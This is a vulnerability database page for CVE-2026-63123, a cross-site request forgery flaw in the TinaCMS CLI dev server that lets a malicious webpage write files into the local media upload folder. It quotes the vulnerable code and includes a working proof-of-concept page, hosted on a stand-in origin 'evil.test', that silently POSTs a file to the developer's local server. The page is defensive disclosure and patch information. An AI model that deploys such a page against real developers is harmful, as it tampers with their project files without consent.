Vulnerability-Lookup

CVE-2026-63123 (GCVE-0-2026-63123)

Vulnerability from cvelistv5 – Published: 2026-08-19 21:41 – Updated: 2026-08-25 14:20

Title

Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root

Summary

Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 14:19 UTC

CWE

CWE-352 - Cross-Site Request Forgery (CSRF)

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/tinacms/tinacms/security/advis…	x_refsource_CONFIRM
https://github.com/tinacms/tinacms/pull/7111	x_refsource_MISC
https://github.com/tinacms/tinacms/commit/211997c…	x_refsource_MISC
https://github.com/tinacms/tinacms/releases/tag/@…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
tinacms	tinacms	Affected: < 2.5.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-63123

Vulnerability from fkie_nvd - Published: 2026-08-19 22:16 - Updated: 2026-09-10 21:18

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/tinacms/tinacms/commit/211997cdb53cbd43638bdee999faa65375cfc260
	security-advisories@github.com	https://github.com/tinacms/tinacms/pull/7111
	security-advisories@github.com	https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.5.2
	security-advisories@github.com	https://github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
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      "affectedData": [
        {
          "product": "tinacms",
          "vendor": "tinacms",
          "versions": [
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              "status": "affected",
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    }
  ],
  "id": "CVE-2026-63123",
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}

GHSA-RGR9-R7MJ-MF6X

Vulnerability from github – Published: 2026-08-19 21:56 – Updated: 2026-08-21 18:31

Summary

Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root

Details

Summary

A browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running tinacms dev. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.

Details

The issue is in the dev server path of @tinacms/cli.

The Vite dev server installs CORS middleware:

// packages/@tinacms/cli/src/next/vite/plugins.ts
server.middlewares.use(
  cors({
    origin: corsOriginCheck,
    methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'],
  })
);

For disallowed origins, the origin callback only returns false to the CORS library:

// packages/@tinacms/cli/src/next/vite/cors.ts
return (origin, callback) => {
  ...
  callback(null, false);
};

That does not reject the request server-side. The same request is still routed into the upload handler:

// packages/@tinacms/cli/src/next/vite/plugins.ts
if (req.url.startsWith('/media/upload')) {
  await mediaRouter.handlePost(req, res);
  return;
}

The upload handler then accepts attacker-controlled path and body data and writes the file:

// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
bb.on('file', async (_name, file, _info) => {
  const fullPath = decodeURIComponent(
    req.url?.slice('/media/upload/'.length)
  );
  const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);
  await fs.ensureDir(path.dirname(saveTo));
  file.pipe(fs.createWriteStream(saveTo));
});

This is exploitable because multipart/form-data is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.

I validated this locally with a browser-backed repro: - the request origin was a disallowed non-localhost origin, - the browser treated the fetch as blocked, - the local Tina media file was still written with attacker-controlled contents.

The demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.

PoC

Minimal reproduction:

Start a Tina dev server so the media upload route is reachable at:

http://127.0.0.1:<TINA_PORT>/media/upload/<filename>

From a different, non-allowed origin such as http://evil.test:8000, serve this page:

<!doctype html>
<script>
(async () => {
  const form = new FormData();
  form.append(
    'file',
    new Blob(['poc-from-cross-origin'], { type: 'text/plain' }),
    'poc.txt'
  );

  try {
    await fetch('http://127.0.0.1:<TINA_PORT>/media/upload/poc.txt', {
      method: 'POST',
      body: form,
    });
    console.log('fetch resolved');
  } catch {
    console.log('fetch blocked by CORS');
  }
})();
</script>

Open that page in a browser while the Tina dev server is running.
Observe:
the browser reports the cross-origin request as blocked or inaccessible,
but poc.txt is still created in the configured media directory, commonly:

public/uploads/poc.txt

Verify the file contents are:

poc-from-cross-origin

This reproduces the vulnerability without any victim-side manual upload action.

Impact

This is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63123"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-19T21:56:36Z",
    "nvd_published_at": "2026-08-19T22:16:58Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running `tinacms dev`. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.\n\n### Details\nThe issue is in the dev server path of `@tinacms/cli`.\n\nThe Vite dev server installs CORS middleware:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/plugins.ts\nserver.middlewares.use(\n  cors({\n    origin: corsOriginCheck,\n    methods: [\u0027GET\u0027, \u0027HEAD\u0027, \u0027PUT\u0027, \u0027PATCH\u0027, \u0027POST\u0027, \u0027DELETE\u0027],\n  })\n);\n```\n\nFor disallowed origins, the origin callback only returns `false` to the CORS library:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/cors.ts\nreturn (origin, callback) =\u003e {\n  ...\n  callback(null, false);\n};\n```\n\nThat does not reject the request server-side. The same request is still routed into the upload handler:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/plugins.ts\nif (req.url.startsWith(\u0027/media/upload\u0027)) {\n  await mediaRouter.handlePost(req, res);\n  return;\n}\n```\n\nThe upload handler then accepts attacker-controlled path and body data and writes the file:\n\n```ts\n// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts\nbb.on(\u0027file\u0027, async (_name, file, _info) =\u003e {\n  const fullPath = decodeURIComponent(\n    req.url?.slice(\u0027/media/upload/\u0027.length)\n  );\n  const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);\n  await fs.ensureDir(path.dirname(saveTo));\n  file.pipe(fs.createWriteStream(saveTo));\n});\n```\n\nThis is exploitable because `multipart/form-data` is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.\n\nI validated this locally with a browser-backed repro:\n- the request origin was a disallowed non-localhost origin,\n- the browser treated the fetch as blocked,\n- the local Tina media file was still written with attacker-controlled contents.\n\nThe demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.\n\n### PoC\nMinimal reproduction:\n\n1. Start a Tina dev server so the media upload route is reachable at:\n```text\nhttp://127.0.0.1:\u003cTINA_PORT\u003e/media/upload/\u003cfilename\u003e\n```\n\n2. From a different, non-allowed origin such as `http://evil.test:8000`, serve this page:\n\n```html\n\u003c!doctype html\u003e\n\u003cscript\u003e\n(async () =\u003e {\n  const form = new FormData();\n  form.append(\n    \u0027file\u0027,\n    new Blob([\u0027poc-from-cross-origin\u0027], { type: \u0027text/plain\u0027 }),\n    \u0027poc.txt\u0027\n  );\n\n  try {\n    await fetch(\u0027http://127.0.0.1:\u003cTINA_PORT\u003e/media/upload/poc.txt\u0027, {\n      method: \u0027POST\u0027,\n      body: form,\n    });\n    console.log(\u0027fetch resolved\u0027);\n  } catch {\n    console.log(\u0027fetch blocked by CORS\u0027);\n  }\n})();\n\u003c/script\u003e\n```\n\n3. Open that page in a browser while the Tina dev server is running.\n\n4. Observe:\n- the browser reports the cross-origin request as blocked or inaccessible,\n- but `poc.txt` is still created in the configured media directory, commonly:\n```text\npublic/uploads/poc.txt\n```\n\n5. Verify the file contents are:\n```text\npoc-from-cross-origin\n```\n\nThis reproduces the vulnerability without any victim-side manual upload action.\n\n### Impact\nThis is a browser-mediated arbitrary file write into the Tina dev server\u2019s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.",
  "id": "GHSA-rgr9-r7mj-mf6x",
  "modified": "2026-08-21T18:31:29Z",
  "published": "2026-08-19T21:56:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63123"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7111"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/211997cdb53cbd43638bdee999faa65375cfc260"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-63123 (GCVE-0-2026-63123)

FKIE_CVE-2026-63123

GHSA-RGR9-R7MJ-MF6X

Summary

Details

PoC

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